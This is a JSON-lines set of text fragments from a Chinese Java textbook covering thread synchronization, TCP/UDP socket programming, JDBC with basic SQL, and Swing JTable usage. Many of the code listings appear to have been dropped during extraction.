    {"text": "当该时间结束后，轮换到与线程A相同优先级的线程B； 当线程B的运行时间结束后，会继续轮换到线程A，直到线程A与线程B都执行完毕，才会轮换到线程C； 当线程C结束后，才会轮换到线程D。"},
    {"text": "18.6 线程同步 在单线程程序中，每次只能做一件事情，后面的事情需要等待前面的事情完成后才可以进行，但是如果使用多线程程序，就会发生两个线程抢占资源的问题，如两个人同时说话、两个人同时过同一个独木桥等。"},
    {"text": "这种多线程的程序通常会发生问题，以火车站售票系统为例，在代码中判断当前票数是否大于0，如果大于0则执行将该票出售给乘客的功能，但当两个线程同时访问这段代码时（假如这时只剩下一张票），第一个线程将票售出，与此同时第二个线程也已经执行完成判断是否有票的操作，并得出票数大于0的结论，于是它也执行售出操作，这样就会产生负数。"},
    {"text": "这是由于同时创建了4个线程，这4个线程执行run()方法，在num变量为1时，线程1、线程2、线程3、线程4都对num变量有存储功能，当线程1执行run()方法时，还没有来得及做递减操作，就指定它调用sleep()方法进入就绪状态，这时线程2、线程3和线程4都进入了run()方法，发现num变量依然大于0，但此时线程1休眠时间已到，将num变量值递减，同时线程2、线程3、线程4也都对num变量进行递减操作，从而产生了负值。"},
    {"text": "18.6.2 线程同步机制 那么该如何解决资源共享的问题呢？ 基本上所有解决多线程资源冲突问题的方法都是采用给定时间只允许一个线程访问共享资源，这时就需要给共享资源上一道锁。"},
    {"text": "这个同步块也被称为临界区，它使用synchronized关键字建立，其语法如下： 通常将共享资源的操作放置在synchronized定义的区域内，这样当其他线程也获取到这个锁时，必须等待锁被释放时才能进入该区域。"},
    {"text": "2. 同步方法 同步方法就是在方法前面修饰synchronized关键字的方法，其语法如下： synchronized void f(){ } 当某个对象调用了同步方法时，该对象上的其他同步方法必须等待该同步方法执行完毕后才能被执行。"},
    {"text": "学习多线程编程就像进入了一个全新的领域，它与以往的编程思想截然不同，随着大多数操作系统对多线程的支持，很多程序语言都已支持和扩展多线程，初学者应该积极转换编程思维，以进入多线程编程的思维方式。"},
    {"text": "本章将多线程与Swing技术联系在一起，列举了大量实例，使读者从实例中体会多线程机制，为读者掌握多线程的基础知识打下了坚实的基础，从而深刻理解其概念并编写出合理的多线程程序。"},
    {"text": "计算机网络实现了多台计算机间的互联，使得它们彼此之间能够进行数据交流。 网络应用程序就是在已连接的不同计算机上运行的程序，这些程序借助于网络协议，相互之间可以交换数据。"},
    {"text": "TCP/IP协议是网络应用程序的首选，本章将从介绍网络协议开始，详细地介绍TCP网络程序和UDP网络程序。 通过阅读本章，您可以： 了解网络程序设计基础 学会编写TCP程序 学会编写UDP程序 19.1 网络程序设计基础 网络程序设计编写的是与其他计算机进行通信的程序。"},
    {"text": "Java已经将网络程序所需要的东西封装成不同的类，用户只要创建这些类的对象，使用相应的方法，即使不具备有关的网络知识，也可以编写出高质量的网络通信程序。"},
    {"text": "图19.1 服务器、客户机和网络 服务器是指提供信息的计算机或程序，客户机是指请求信息的计算机或程序。 网络用于连接服务器与客户机，实现两者间的相互通信。"},
    {"text": "19.1.2 网络协议 网络协议规定了计算机之间连接的物理、机械（网线与网卡的连接规定）、电气（有效的电平范围）等特征，计算机之间的相互寻址规则，数据发送冲突的解决方式，长数据如何分段传送与接收等内容。"},
    {"text": "1. IP协议 IP是Internet Protocol的简称，是一种网络协议。 Internet网络采用的协议是TCP/IP协议，其全称是Transmission Control Protocol/Internet Protocol。 Internet依靠TCP/IP协议，在全球范围内实现了不同硬件结构、不同操作系统、不同网络系统间的互联。 在Internet网络上存在着数以亿计的主机，每台主机都用网络为其分配的Internet地址代表自己，这个地址就是IP地址。"},
    {"text": "到目前为止，IP地址用4个字节，也就是32位的二进制数来表示，称为IPv4。 为了便于使用，通常取用每个字节的十进制数，并且每个字节之间用圆点隔开来表示IP地址，如192.168.1.1。 现在人们正在试验使用16个字节来表示IP地址，这就是IPv6，但IPv6还没有投入使用。"},
    {"text": "图19.2 TCP/IP层次结构 2. TCP与UDP协议 在TCP/IP协议栈中，有两个高级协议是网络应用程序编写者应该了解的，即传输控制协议（Transmission Control Protocol，TCP）与用户数据报协议（User Datagram Protocol，UDP）。"},
    {"text": "TCP协议是一种以固接连线为基础的协议，它提供两台计算机间可靠的数据传送。 TCP可以保证从一端数据送至连接的另一端时，数据能够确实送达，而且抵达的数据的排列顺序和送出时的顺序相同。"},
    {"text": "这种方式就像邮递员送信给收信人，可以寄出很多信给同一个人，且每一封信都是相对独立的，各封信送达的顺序并不重要，收信人接收信件的顺序也不能保证与寄出信件的顺序相同。"},
    {"text": "UDP协议适合于一些对数据准确性要求不高但，对传输速度和时效性要求非常高的网站，如网络聊天室、在线影片等。 这是由于TCP协议在认证上存在额外耗费，可能使传输速度减慢，而UDP协议即使有一小部分数据包遗失或传送顺序有所不同，也不会严重危害该项通信。 注意 一些防火墙和路由器会设置成不允许UDP数据包传输，因此若遇到UDP连接方面的问题，应先确定所在网络是否允许UDP协议。"},
    {"text": "19.1.3 端口和套接字 一般而言，一台计算机只有单一的连到网络的物理连接（Physical Connection），所有的数据都通过此连接对内、对外送达特定的计算机，这就是端口。"},
    {"text": "通常，0~1023之间的端口数用于一些知名的网络服务和应用，用户的普通网络应用程序应该使用1024以上的端口数，以避免端口号与另一个应用或系统服务所用端口冲突。"},
    {"text": "服务器端与客户端的交互过程如图19.5所示。 图19.5 服务器端与客户端的交互 ①—服务器程序创建一个ServerSocket（服务器端套接字），调用accept()方法等待客户机来连接。 ②—客户端程序创建一个Socket，请求与服务器建立连接。 ③—服务器接收客户机的连接请求，同时创建一个新的Socket与客户建立连接。"},
    {"text": "19.2.2 ServerSocket类 java.net包中的ServerSocket类用于表示服务器套接字，其主要功能是等待来自网络上的“请求”，它可通过指定的端口来等待连接的套接字。"},
    {"text": "如果多台客户机同时提出连接请求，服务器套接字会将请求连接的客户机存入列队中，然后从中取出一个套接字，与服务器新建的套接字连接起来。"},
    {"text": "ServerSocket()：创建非绑定服务器套接字。 ServerSocket(int port)：创建绑定到特定端口的服务器套接字。 ServerSocket(int port, int backlog)：利用指定的backlog创建服务器套接字，并将其绑定到指定的本地端口号上。 ServerSocket(int port, int backlog, InetAddress bindAddress)：使用指定的端口、侦听backlog和要绑定到的本地IP地址创建服务器。 这种情况适用于计算机上有多块网卡和多个IP地址的情况，用户可以明确规定ServerSocket在哪块网卡或哪个IP地址上等待客户的连接请求。"},
    {"text": "ServerSocket类的常用方法如表19.2所示。 表19.2 ServerSocket类的常用方法 调用ServerSocket类的accept()方法，会返回一个和客户端Socket对象相连接的Socket对象。"},
    {"text": "服务器端的Socket对象使用getOutputStream()方法获得的输出流，将指向客户端Socket对象使用getInputStream()方法获得的那个输入流； 同样，服务器端的Socket对象使用getInputStream()方法获得的输入流，将指向客户端Socket对象使用getOutputStream()方法获得的那个输出流。 也就是说，当服务器向输出流写入信息时，客户端通过相应的输入流就能读取，反之亦然。"},
    {"text": "如果没有客户呼叫服务器，那么System.out.println(\"连接中\")语句将不会执行。 语句如果没有客户请求，accept()方法没有发生阻塞，肯定是程序出现了问题。 通常是使用了一个被其他程序占用的端口号，ServerSocket绑定没有成功。"},
    {"text": "说明 当一台机器上安装了多个网络应用程序时，很可能指定的端口号已被占用。 还可能遇到以前运行良好的网络程序突然运行不了的情况，这种情况很可能也是由于端口被别的程序占用了。 此时可以运行netstat-help来获得帮助，使用命令netstat-an来查看该程序所使用的端口，如图19.11所示。"},
    {"text": "图19.8 例19.3的运行结果 图19.9 服务器端运行结果 图19.10 客户端运行结果 图19.11 查看端口 19.3 UDP程序设计基础 用户数据报协议（UDP）是网络信息传输的另一种形式。"},
    {"text": "使用UDP传递数据时，用户无法知道数据能否正确地到达主机，也不能确定到达目的地的顺序是否和发送的顺序相同。 虽然UDP是一种不可靠的协议，但如果需要较快地传输信息，并能容忍小的错误，可以考虑使用UDP。"},
    {"text": "发送数据包的步骤如下： （1）使用DatagramSocket()创建一个数据包套接字。 （2）使用DatagramPacket(byte[] buf, int offset, int length, InetAddress address, int port)创建要发送的数据包。 （3）使用DatagramSocket类的send()方法发送数据包。 接收数据包的步骤如下： （1）使用DatagramSocket(int port)创建数据包套接字，绑定到指定的端口。 （2）使用DatagramPacket(byte[] buf, int length)创建字节数组来接收数据包。 （3）使用DatagramPacket类的receive()方法接收UDP包。 注意 DatagramSocket类的receive()方法接收数据时，如果还没有可以接收的数据，在正常情况下receive()方法将阻塞，一直等到网络上有数据传来，receive()方法接收该数据并返回。 如果网络上没有数据发送过来，receive()方法也没有阻塞，肯定是程序有问题，大多数情况下是因为使用了一个被其他程序占用的端口号。"},
    {"text": "19.3.1 DatagramPacket类 java.net包的DatagramPacket类用来表示数据包。 DatagramPacket类的构造函数有： DatagramPacket(byte[] buf, int length)。 DatagramPacket(byte[] buf, int length, InetAddress address, int port)。 第一种构造函数在创建DatagramPacket对象时，指定了数据包的内存空间和大小。 第二种构造函数不仅指定了数据包的内存空间和大小，还指定了数据包的目标地址和端口。 在发送数据时，必须指定接收方的Socket地址和端口号，因此使用第二种构造函数可创建发送数据的DatagramPacket对象。 19.3.2 DatagramSocket类 java.net包中的DatagramSocket类用于表示发送和接收数据包的套接字。 该类的构造函数有： DatagramSocket()。 DatagramSocket(int port)。 DatagramSocket(int port, InetAddress addr)。 第一种构造函数创建DatagramSocket对象，构造数据报套接字，并将其绑定到本地主机任何可用的端口上。 第二种构造函数创建DatagramSocket对象，创建数据报套接字，并将其绑定到本地主机的指定端口上。 第三种构造函数创建DatagramSocket对象，创建数据报套接字，并将其绑定到指定的本地地址上。"},
    {"text": "（实例位置：\\TM\\sl\\19.04） （1）广播主机程序不断地向外播出信息，代码如下： 运行结果如图19.12所示。 图19.12 广播主机程序的运行结果 （2）接收广播程序。"},
    {"text": "图19.13 接收广播的运行结果 说明 发出广播和接收广播的主机地址必须位于同一个组内，地址范围为224.0.0.0~224.255.255.255，该地址并不代表某个特定主机的位置。"},
    {"text": "（答案位置：\\TM\\sl\\19.05） 2. 编写TCP服务器程序，创建一个在8001端口上等待的ServerSocket对象，当接收到一个客户机的连接请求后，程序从与客户机建立了连接的Socket对象中获得输入／输出流。"},
    {"text": "JDBC技术是连接数据库与应用程序的纽带，学习Java语言，必须学习JDBC技术。 开发一款应用程序，需要使用数据库来保存数据，使用JDBC技术可以快速地访问和操作数据库，如查找满足条件的记录，向数据库中添加、修改、删除数据等。"},
    {"text": "通过阅读本章，您可以： 了解数据库的基础知识 了解JDBC技术的概念 掌握JDBC中常用的类和接口 掌握数据库操作的步骤 20.1 数据库基础知识 数据库在应用程序开发中占据着非常重要的地位。"},
    {"text": "数据的一致性和可维护性，以确保数据的安全性和可靠性。 主要包括： 安全性控制，以防止数据丢失、错误更新和越权使用。 完整性控制，保证数据的正确性、有效性和相容性。"},
    {"text": "20.1.2 数据库的种类及功能 数据库系统一般基于某种数据模型，可以分为层次型、网状型、关系型及面向对象型等。 层次型数据库：层次型数据库类似于树结构，是一组通过链接而相互联系在一起的记录。"},
    {"text": "在当前比较流行的数据库中，MySQL数据库是开发源代码的软件，具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点，同时也是具有客户机／服务器体系结构的分布式数据库管理系统。 MySQL是完全网络化的跨平台关系型数据库系统，它还支持多种平台，在UNIX/Linux系统上MySQL支持多线程运行方式，从而能获得相当好的性能。"},
    {"text": "这就好像为JDK注入了一股全新的活力，Java程序员不再需要耗费大量精力安装和配置数据库，就能进行安全、易用、标准且免费的数据库编程了。"},
    {"text": "20.1.3 SQL语言 SQL（Structure Query Language，结构化查询语言）被广泛地应用于大多数数据库中，使用SQL语言可以方便地查询、操作、定义和控制数据库中的数据。"},
    {"text": "数据定义语言（Data Definition Language，DDL），如create、alter、drop等。 数据操纵语言（Data Manipulation Language，DML），如select、insert、update、delete等。 数据控制语言（Data Control Language，DCL），如grant、revoke等。 事务控制语言（Transaction Control Language），如commit、rollback等。"},
    {"text": "语法如下： 假设数据表名称是tb_emp，要检索出tb_emp表中所有女员工的姓名、年龄，并按年龄升序排序，代码如例20.1所示。 【例20.1】将tb_emp表中所有女员工的姓名、年龄按年龄升序的形式检索出来。 select name,age form tb_emp where sex = '女' order by age; 2. insert语句 insert语句用于向表中插入新数据。 语法如下： 假设要向数据表tb_emp（包含字段id、name、sex、department）中插入数据，代码如例20.2所示。 【例20.2】向tb_emp表中插入数据。 insert into tb_emp values(2,'lili','女','销售部'); 3. update语句 update语句用于更新数据表中的某些记录。 语法如下： UPDATE 数据表名 SET 字段名 = 新的字段值 WHERE 条件表达式 假设要将数据表tb_emp中2号员工的年龄修改为24，代码如例20.3所示。 【例20.3】修改tb_emp表中编号是2的员工年龄。 update tb_emp set age = 24 where id = 2; 4. delete语句 delete语句用于删除数据。 语法如下： delete from 数据表名 where 条件表达式 假设要删除数据表tb_emp中编号为1024的员工，代码如例20.4所示。 【例20.4】将tb_emp表中编号为1024的员工删除。"},
    {"text": "delete from tb_emp where id = 1024; 20.2 JDBC概述 JDBC是一种可用于执行SQL语句的Java API（Application Programming Interface，应用程序设计接口），是连接数据库和Java应用程序的纽带。"},
    {"text": "20.2.1 JDBC-ODBC桥 JDBC-ODBC桥是一个JDBC驱动程序，完成了从JDBC操作到ODBC操作之间的转换工作，允许JDBC驱动程序被用作ODBC的驱动程序。 使用JDBC-ODBC桥连接数据库的步骤如下： （1）首先加载JDBC-ODBC桥的驱动程序。"},
    {"text": "代码如下： Class.forName(\"sun.jdbc.odbc.JdbcOdbcDriver\"); Class类是java.lang包中的一个类，通过该类的静态方法forName()可加载sun.jdbc.odbc包中的JdbcOdbcDriver类来建立JDBC-ODBC桥连接器。"},
    {"text": "（2）使用java.sql包中的Connection接口，并通过DriverManager类的静态方法getConnection()创建连接对象。 代码如下： Connection conn = DriverManager.getConnection(\"jdbc:odbc:数据源名字\" , \"user name\" , \"password\"); 数据源必须给出一个简短的描述名。"},
    {"text": "使用Statement接口声明一个SQL语句对象，并通过刚才创建的连接数据库对象conn的createStatement()方法创建这个SQL对象。 代码如下： Statement sql = conn.createStatement(); JDBC-ODBC桥作为连接数据库的过渡性技术，现在已经不被Java广泛应用了，现在被广泛应用的是JDBC技术。"},
    {"text": "20.2.2 JDBC技术 JDBC的全称是Java DataBase Connectivity，是一套面向对象的应用程序接口，指定了统一的访问各种关系型数据库的标准接口。 JDBC是一种底层的API，因此访问数据库时需要在业务逻辑层中嵌入SQL语句。 SQL语句是面向关系的，依赖于关系模型，所以通过JDBC技术访问数据库也是面向关系的。 JDBC技术主要完成以下几个任务： 与数据库建立一个连接。"},
    {"text": "下面详细介绍JDBC驱动程序的分类。 20.2.3 JDBC驱动程序的类型 JDBC的总体结构由4个组件—应用程序、驱动程序管理器、驱动程序和数据源组成。 JDBC驱动基本上分为以下4种。"},
    {"text": "JDBC网络驱动：这种驱动程序将JDBC转换为与DBMS无关的网络协议，又被某个服务器转换为一种DBMS协议，是一种利用Java编写的JDBC驱动程序，也是最为灵活的JDBC驱动程序。"},
    {"text": "这种驱动程序将JDBC调用直接转换为DBMS所使用的网络协议，允许从客户机上直接调用DBMS服务器，是一种很实用的访问Intranet的解决方法。 JDBC网络驱动和本地协议驱动是JDBC访问数据库的首选，这两类驱动程序提供了Java的所有优点。"},
    {"text": "20.3 JDBC中常用的类和接口 在Java语言中提供了丰富的类和接口用于数据库编程，利用这些类和接口可以方便地进行数据访问和处理。 本节将介绍一些常用的JDBC接口和类，这些类或接口都在java.sql包中。"},
    {"text": "Connection接口的常用方法如表20.1所示。 表20.1 Connection接口的常用方法 20.3.2 Statement接口 Statement接口用于在已经建立连接的基础上向数据库发送SQL语句。"},
    {"text": "Statement对象用于执行不带参数的简单的SQL语句； PreparedStatement继承了Statement，用来执行动态的SQL语句； CallableStatement继承了PreparedStatement，用于执行对数据库的存储过程的调用。"},
    {"text": "在JDBC 2.0（JDK 1.2）之后，该接口添加了一组更新方法updateXXX()，该方法有两个重载方法，可根据列的索引号和列的名称来更新指定列。"},
    {"text": "ResultSet接口的常用方法如表20.5所示。 表20.5 ResultSet接口提供的常用方法 20.4 数据库操作 要对数据表中的数据进行操作，首先应该建立与数据库的连接。"},
    {"text": "20.4.1 连接数据库 要访问数据库，首先要加载数据库的驱动程序（只需要在第一次访问数据库时加载一次），然后每次访问数据时创建一个Connection对象，接着执行操作数据库的SQL语句，最后在完成数据库操作后销毁前面创建的Connection对象，释放与数据库的连接。"},
    {"text": "图20.3 例20.5的运行结果 代码说明： 代码块（1）：通过java.lang包的静态方法forName()来加载JDBC驱动程序，如果加载失败会抛出ClassNotFoundException异常。"},
    {"text": "这样写的好处是在遇到对数据库执行操作的程序时可直接调用Conn类的getConnection()方法获取连接，增加了代码的重用性。 20.4.2 向数据库发送SQL语句 例20.5中的getConnection()方法只是获取与数据库的连接，要执行SQL语句首先要获得Statement类对象。 通过例20.5创建的连接数据库对象con的createStatement()方法可获得Statement对象。 【例20.6】创建Statement类对象sql。 代码如下： 20.4.3 处理查询结果集 有了Statement对象以后，可调用相应的方法实现对数据库的查询和修改，并将查询的结果集存放在ResultSet类的对象中。 【例20.7】获取查询结果集。 代码如下： ResultSet res = sql.executeQuery(\"select * from tb_emp\"); 运行结果为返回一个ResultSet对象，ResultSet对象一次只可以看到结果集中的一行数据，使用该类的next()方法可将光标从当前位置移向下一行（关于Statement类的其他方法可参见20.3节）。 20.4.4 顺序查询 ResultSet类的next()方法的返回值是boolean类型的数据，当游标移动到最后一行之后会返回false。"},
    {"text": "【例20.8】本实例在getConnection()方法中获取与数据库的连接，在主方法中将数据表tb_stu中的数据检索出来，保存在遍历查询结果集ResultSet中，并遍历该结果集。"},
    {"text": "注意 可以通过列的序号来获取结果集中指定的列值。 例如，获取结果集中id列的列值，可以写成getString(\"id\")。 由于id列是数据表中的第一列，所以也可以写成getString(1)来获取。"},
    {"text": "图20.4 例20.8的运行结果 图20.5 结果集结构 20.4.5 模糊查询 SQL语句中提供了LIKE操作符用于模糊查询，可使用“%”来代替0个或多个字符，使用下画线“_”来代替一个字符。"},
    {"text": "例如，在查询姓张的同学的信息时，可使用以下SQL语句： select * from tb_stu where name like '张%' 【例20.9】本实例在getConnection()方法中获取与数据库的连接，在主方法中将数据表tb_stu中姓张的同学的信息检索出来，保存在ResultSet结果集中，并遍历该集合。"},
    {"text": "图20.6 例20.9的运行结果 20.4.6 预处理语句 向数据库发送一个SQL语句，数据库中的SQL解释器负责把SQL语句生成底层的内部命令，然后执行该命令，完成相关的数据操作。"},
    {"text": "对于JDBC，可以通过Connection对象的preparedStatement(String sql)方法对SQL语句进行预处理，生成数据库底层的内部命令，并将该命令封装在PreparedStatement对象中。"},
    {"text": "通过调用该对象的相应方法，可执行底层数据库命令。 也就是说，应用程序能针对连接的数据库，将SQL语句解释为数据库底层的内部命令，然后让数据库执行这个命令。"},
    {"text": "对SQL进行预处理时可以使用通配符“?”来代替任何的字段值。 例如： sql = con.prepareStatement(\"select * from tb_stu where id = ?\"); 在执行预处理语句前，必须用相应方法来设置通配符所表示的值。 例如： sql.setInt(1,2); 上述语句中的1表示从左向右的第1个通配符，2表示设置的通配符的值。 将通配符的值设置为2后，功能等同于： sql = con.prepareStatement(\"select * from tb_stu where id = 2\"); 书写两条语句看似麻烦了一些，但使用预处理语句可使应用程序动态地改变SQL语句中关于字段值条件的设定。 注意 通过setXXX()方法为SQL语句中的参数赋值时，建议使用与参数匹配的方法，也可以使用setObject()方法为各种类型的参数赋值。 例如： sql.setObject(2,'李丽'); 【例20.10】本实例预处理语句可动态地获取指定编号的同学信息。 在此以查询编号为19的同学信息为例，介绍预处理语句的用法。"},
    {"text": "可通过PreparedStatement类的指定参数，动态地对数据表中原有数据进行修改操作，并通过executeUpdate()方法执行更新语句操作。 【例20.11】本实例通过预处理语句动态地对数据表tb_stu中的数据执行添加、修改、删除操作，并遍历数据操作之前与数据操作之后tb_stu表中的数据。"},
    {"text": "图20.8 例20.11的运行结果 说明 executeQuery()方法是在PreparedStatement对象中执行SQL查询，并返回该查询生成的ResultSet对象，而executeUpdate()方法是在PreparedStatement对象中执行SQL语句，该语句必须是一个SQL数据操作语言（Data Manipulation Language，DML）语句，如INSERT、UPDATE或DELETE语句，或者是无返回内容的SQL语句，如DDL语句。"},
    {"text": "20.5 小结 本章主要介绍了Java程序中的数据库操作部分。 通过对本章的学习，读者应该了解什么是数据库，数据库的种类、功能以及常用的SQL语言的基本语法，重点要掌握使用JDBC技术操作数据库以及对数据进行增加、删除、修改、查找操作的方法。"},
    {"text": "（答案位置：\\TM\\sl\\20.06） 2. 编写程序，实现向数据表tb_stu中添加数据的功能，要求姓名为“李某”，性别是“女”，出生日期是“1999-10-20”。"},
    {"text": "（答案位置：\\TM\\sl\\20.08） 第3篇 高级应用 本篇介绍了Swing表格组件、Swing树组件、Swing其他高级组件、高级事件处理、AWT绘图等内容。"},
    {"text": "通过阅读本章，您可以： 学会创建Swing表格 学会定义和操纵表格 学会维护表格模型 掌握JTable和DefaultTableModel类的主要功能 掌握提供行标题栏表格的开发思路 了解Swing表格的设计思路 21.1 利用JTable类直接创建表格 表格是最常用的数据统计形式之一，在Swing中由JTable类实现表格。"},
    {"text": "本节将学习利用JTable类创建和定义表格，以及操纵表格的方法。 21.1.1 创建表格 在JTable类中除了默认的构造方法外，还提供了利用指定表格列名数组和表格数据数组创建表格的构造方法，代码如下： JTable(Object[][] rowData, Object[] columnNames) rowData：封装表格数据的数组。"},
    {"text": "（实例位置：\\TM\\sl\\21.01） 本例利用构造方法JTable(Object[][] rowData, Object[] columnNames)创建了一个表格，并将表格添加到了滚动面板中。"},
    {"text": "图21.1 创建可以滚动的表格 图21.2 出现滚动条的表格 在JTable类中还提供了利用指定表格列名向量和表格数据向量创建表格的构造方法，代码如下： JTable(Vector rowData, Vector columnNames) rowData：封装表格数据的向量。"},
    {"text": "注意 如果是直接将表格添加到相应的容器中，则首先需要通过JTable类的getTableHeader()方法获得JTableHeader类的对象，然后再将该对象添加到容器的相应位置，否则表格将没有列名。"},
    {"text": "图21.3 创建不可滚动的表格 图21.4 不出现滚动条的表格 图21.5 没有表格列名的表格 21.1.2 定制表格 表格创建完成后，还需要对其进行一系列的定义，以便适合于具体的使用情况。"},
    {"text": "在创建不支持滚动条的表格时已经使用了JTableHeader类的对象，通过该类的setReorderingAllowed(boolean reorderingAllowed)方法即可设置表格是否支持重新排列功能，设为false表示不支持重新排列功能，如图21.7所示。"},
    {"text": "默认情况下单元格中的内容靠左侧显示，如果需要令单元格中的内容居中显示，如图21.8所示，可以通过重构JTable类的getDefaultRenderer(Class<?> columnClass)方法来实现。 下面是重构后的代码： 图21.6 可编辑的表格 图21.7 可重新排列的表格 图21.8 单元格内容居中显示 表21.1中列出了JTable类中用来定义表格的常用方法。"},
    {"text": "表21.1 JTable类中用来定义表格的常用方法 在利用setSelectionMode(int sm)方法设置表格行的选择模式时，它的入口参数可以从表21.2列出的ListSelectionModel类的静态常量中选择。 表21.2 ListSelectionModel类中用来设置选择模式的静态常量 图21.9 单选模式 图21.10 连选模式 图21.11 多选模式 在利用setAutoResizeMode(int mode)方法设置表格的自动调整模式时，它的入口参数可以从表21.3列出的JTable类的静态常量中选择。"},
    {"text": "说明 所谓表格的自动调整模式，就是在调整表格某一列的宽度时，表格采用何种方式保持其总宽度不变。 表21.3 JTable类中用来设置自动调整模式的静态常量 图21.12 关闭调整功能 图21.13 只调整其下一列的宽度 图21.14 按比例调整其后所有列的宽度 图21.15 只调整最后一列的宽度 图21.16 按比例调整表格所有列的宽度 说明 调整表格所在窗体的宽度时，如果关闭了表格的自动调整功能，表格的总宽度仍保持不变，如图21.17所示； 如果开启了表格的自动调整功能，表格将按比例调整所有列的宽度至适合窗体的宽度，如图21.18所示。 图21.17 关闭的情况下调整窗体宽度 图21.18 开启的情况下调整窗体宽度 【例21.3】定义表格。"},
    {"text": "（实例位置：\\TM\\sl\\21.03） 本例利用本节所讲的全部知识对表格进行了定义，完整代码如下： 运行本例，选中表格的第2行，将得到如图21.19所示的效果。"},
    {"text": "getRowCount()：获得表格拥有的行数，返回值为int型。 getColumnCount()：获得表格拥有的列数，返回值为int型。 getColumnName(int column)：获得位于指定索引位置的列的名称，返回值为String型。"},
    {"text": "在表21.4中列出了经常用来操纵表格选中行的方法，包括设置、查看、统计、获取和取消选中行的方法。 表21.4 JTable类中经常用来操纵表格选中行的方法 注意 由JTable类实现的表格的行索引和列索引均从0开始，即第一行的索引为0，第二行的索引为1，依此类推。"},
    {"text": "在JTable类中还提供了一个用来移动表格列位置的方法moveColumn(int column, int targetColumn)，其中column为欲移动列的索引值，targetColumn为目的列的索引值。"},
    {"text": "关键代码如下： 运行本例，将得到如图21.21所示的窗体，其中表格的第2、3、4、6行被选中，并且列名为B的列从索引1处移动到了索引5处。"},
    {"text": "图21.21 被选中指定行的表格 图21.22 输出到控制台的信息 21.2 表格模型与表格 用来创建表格的JTable类并不负责存储表格中的数据，而是由表格模型负责存储。"},
    {"text": "21.2.1 利用表格模型创建表格 接口TableModel定义了一个表格模型，抽象类AbstractTableModel实现了TableModel接口的大部分方法，只有以下3个抽象方法没有实现。"},
    {"text": "通过继承AbstractTableModel类实现上面3个抽象方法可以创建自己的表格模型类。 DefaultTableModel类便是由Swing提供的继承了AbstractTableModel类并实现了上面3个抽象方法的表格模型类。 DefaultTableModel类提供的常用构造方法如表21.5所示。 表21.5 DefaultTableModel类提供的常用构造方法 表格模型创建完成后，通过JTable类的构造方法JTable(TableModel dm)创建表格，就实现了利用表格模型创建表格。"},
    {"text": "为表格设置排序器的典型代码如下： 如果为表格设置了排序器，当单击表格的某一列头时，在该列名称的后面将出现 标记，说明按该列升序排列表格中的所有行，如图21.23所示；"},
    {"text": "图21.23 按升序排列 图21.24 按降序排列 图21.25 未设置表格模型 【例21.5】利用表格模型创建表格，并使用表格排序器。 （实例位置：\\TM\\sl\\21.05） 本例利用表格模型创建了一个表格，并对表格使用了表格排序器。"},
    {"text": "单击名称为B列的列头后，将得到如图21.27所示的效果，表格按B列升序排列； 再次单击名称为B列的列头后，将得到如图21.28所示的效果，表格按B列降序排列。 图21.26 运行效果 图21.27 升序排列 图21.28 降序排列 21.2.2 维护表格模型 使用表格时，经常需要对表格中的内容进行维护，如向表格中添加新的数据行、修改表格中某一单元格的值、从表格中删除指定的数据行等，这些操作均可以通过维护表格模型来完成。"},
    {"text": "在向表格模型中添加新的数据行时有两种情况：一种是添加到表格模型的尾部，另一种是添加到表格模型的指定索引位置。 （1）添加到表格模型的尾部，可以通过addRow()方法完成。"},
    {"text": "insertRow(int row, Object[] rowData)：将由数组封装的数据添加到表格模型的指定索引位置。 insertRow(int row, Vector rowData)：将由向量封装的数据添加到表格模型的指定索引位置。"},
    {"text": "如果需要修改表格模型中某一单元格的数据，可以通过方法setValueAt(Object aValue, int row, int column)完成，其中aValue为单元格修改后的值，row为单元格所在行的索引，column为单元格所在列的索引； 可以通过方法getValueAt(int row, int column)获得指定单元格的值，该方法的返回值类型为Object。"},
    {"text": "如果需要删除表格模型中某一行的数据，可以通过方法removeRow(int row)完成，其中row为欲删除行的索引。 注意 在删除表格模型中的数据时，每删除一行，其后所有行的索引值将相应地减1，所以当连续删除多行时，需要注意对删除行索引的处理。"},
    {"text": "【例21.6】维护表格模型。 （实例位置：\\TM\\sl\\21.06） 本例通过维护表格模型，向表格中添加新的数据行，修改表格中某一单元格的值，以及从表格中删除指定的数据行。"},
    {"text": "本例的完整代码如下： 运行本例，将得到如图21.29所示的窗体，其中A、B文本框分别用来编辑A、B列的信息。 单击“添加”按钮可以将编辑好的信息添加到表格中，选中表格的某一行后，在A、B文本框中将显示该行对应列的信息。 重新编辑后单击“修改”按钮可以修改表格中的信息，单击“删除”按钮可以删除表格中被选中的行。"},
    {"text": "图21.29 维护表格模型 21.3 提供行标题栏的表格 通过JTable类创建的表格的列标题栏是永远可见的，即使是向下滚动了垂直滚动条，这就大大增强了表格的可读性。"},
    {"text": "但是当窗体不能显示出表格的所有列时，如果向右滚动水平滚动条则会导致表格左侧的部分列不可见，而通常情况下表格左侧的一列或几列为表格的基本数据，如图21.30所示。 如果通过移动滚动条查看未显示出的列数据时，则会导致如图21.31所示的效果，即不知道每一行的具体销售日期，但是针对表格列则不会出现这样的问题。 如果能够使表格左侧的一列或几列不随着水平滚动条滚动，也能够永远可见，就解决了上面的问题。 图21.30 表格左侧的一列为表格的基本数据 图21.31 移动滚动条查看未显示出的列数据 可以通过两个并列显示的表格实现这样的效果，其中左侧的表格用来显示永远可见的一列或几列，右侧的表格则用来显示其他的表格列。"},
    {"text": "（实例位置：\\TM\\sl\\21.07） 本例实现了一个提供行标题栏的表格，运行本例后将得到如图21.32所示的窗体，在表格最左侧的“日期”列下方并没有滚动条，移动水平滚动条后将得到如图21.33所示的效果，表格最左侧的“日期”列仍然可见。 图21.32 提供行标题栏的表格 图21.33 移动滚动条后的效果 实现本例的基本步骤如下： （1）创建MfixedColumnTable类，该类继承了JPanel类，并声明3个属性。"},
    {"text": "具体代码如下： （2）创建用于左侧固定列表格的模型类FixedColumnTableModel，该类继承了AbstractTableModel类，并且为MfixedColumnTable类的内部类。 FixedColumnTableModel类除了需要实现Abstract-TableModel类的3个抽象方法外，还需要重构getColumnName(int columnIndex)方法。 具体代码如下： （3）创建用于右侧可移动列表格的模型类FloatingColumnTableModel，该类继承了AbstractTableModel类，并且为MfixedColumnTable类的内部类。 FixedColumnTableModel类除了需要实现AbstractTableModel类的3个抽象方法外，还需要重构getColumnName(int columnIndex)方法。"},
    {"text": "（5）创建用于同步两个表格中被选中行的事件监听器类MListSelectionListener，即当选中左侧固定列表格中的某一行时，监听器会同步选中右侧可移动列表格中的对应行； 同样，当选中右侧可移动列表格中的某一行时，监听器会同步选中左侧固定列表格中的对应行。"},
